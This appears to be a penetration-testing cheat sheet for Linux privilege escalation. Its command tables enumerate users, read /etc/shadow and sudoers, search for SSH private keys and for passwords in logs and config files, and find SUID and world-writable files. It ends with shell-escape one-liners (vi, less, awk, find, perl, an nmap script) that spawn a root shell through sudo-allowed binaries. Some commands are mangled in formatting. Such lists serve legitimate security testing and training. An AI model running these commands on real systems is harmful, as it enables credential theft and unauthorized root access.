Users & Groups:
Command Result
cat /etc/passwd List all users on the system
cat /etc/group List all groups on the system
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null List all uid’s and respective group memberships
cat /etc/shadow Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts
finger Users currently logged in
pinky As above
users As above
who -a As above
w Who is currently logged in and what they’re doing
last Listing of last logged on users
lastlog Information on when all users last logged in
lastlog –u %username% Information on when the specified user last logged in
lastlog |grep -v "Never" Entire list of previously logged on users

User & Privilege Information:
Command Result
whoami Current username
id Current user information
cat /etc/sudoers Who’s allowed to do what as root – Privileged command
sudo -l Can the current user perform anything as root
sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man'

|'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python

|ruby|lua|irb' | xargs -r ls -la 2>/dev/null Can the current user run any ‘interesting’ binaries as root and if so also display the binary permissions etc.

Environmental Information:
Command Result
env Display environmental variables
set As above
echo $PATH Path information
history Displays command history of current user
pwd Print working directory, i.e. ‘where am I’
cat /etc/profile Display default system variables
cat /etc/shells Display available shells

Interesting Files:
Command Result
find / -perm -4000 -type f 2>/dev/null Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null Find SUID files owned by root
find / -perm -2000 -type f 2>/dev/null Find GUID files
find / -perm -2 -type f 2>/dev/null Find world-writeable files
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null Find world-writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null Find word-writeable directories
find /home –name *.rhosts -print 2>/dev/null Find rhost config files
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ; Find *.plan files, list permissions and cat the file contents
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; Find hosts.equiv, list permissions and cat the file contents
ls -ahlR /root/ See if you can access other user directories to find interesting files
cat ~/.bash_history Show the current users’ command history
ls -la ~/.*_history Show the current users’ various history files
ls -la /root/.*_history Can we read root’s history files
ls -la ~/.ssh/ Check for interesting ssh files in the current users’ directory
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la Find SSH keys/host information
ls -la /usr/sbin/in.* Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null Check log files for keywords (‘pass’ in this example) and show positive matches
find /var/log -type f -exec ls -la {} ; 2>/dev/null List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null List .conf files in /etc (recursive 1 level)
ls -la /etc/*.conf As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null Find .conf files (recursive 4 levels) and output line number where the word ‘password’ is located
lsof -i -n List open files (output will depend on account privileges)
head /var/mail/root Can we read roots mail

Service Information:
Command Result
ps aux | grep root View services running as root
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' Lookup process binary path and permissions
cat /etc/inetd.conf List services managed by inetd
cat /etc/xinetd.conf As above for xinetd
cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null A very ‘rough’ command to extract associated binaries from xinetd.conf and show permissions of each
ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null Permissions and contents of /etc/exports (NFS)

Jobs/Tasks:
Command Result
crontab -l -u %username% Display scheduled jobs for the specified user – Privileged command
ls -la /etc/cron* Scheduled jobs overview (hourly, daily, monthly etc)
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null What can ‘others’ write in /etc/cron* directories
top List of current tasks

Networking, Routing & Communications:
Command Result
/sbin/ifconfig -a List all network interfaces
cat /etc/network/interfaces As above
arp -a Display ARP communications
route Display route information
cat /etc/resolv.conf Show configured DNS sever addresses
netstat -antp List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup List all UDP sockets and related PIDs (-p Privileged command)
iptables -L List rules – Privileged command
cat /etc/services View port numbers/services mappings

Programs Installed:
Command Result
dpkg -l Installed packages (Debian)
rpm -qa Installed packages (Red Hat)
sudo -V Sudo version – does an exploit exist?
httpd -v Apache version
apache2 -v As above
apache2ctl (or apachectl) -M List loaded Apache modules
mysql --version Installed MYSQL version details
psql -V Installed Postgres version details
perl -v Installed Perl version details
java -version Installed Java version details
python --version Installed Python version details
ruby -v Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc) As above
dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null List available compilers
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1' Which account is Apache running as

Common Shell Escape Sequences:
Command Program(s)
:!bash vi, vim
:set shell=/bin/bash:shell vi, vim
!bash man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find
awk 'BEGIN {system("/bin/bash")}' awk
--interactive nmap
echo "os.execute('/bin/sh')" > exploit.nse

sudo nmap --script=exploit.nse nmap (thanks to comment by anonymous below)
perl -e 'exec "/bin/bash";' Perl

A special thanks to the following useful resources:
g0tm1lk
SANS Pentesting Resources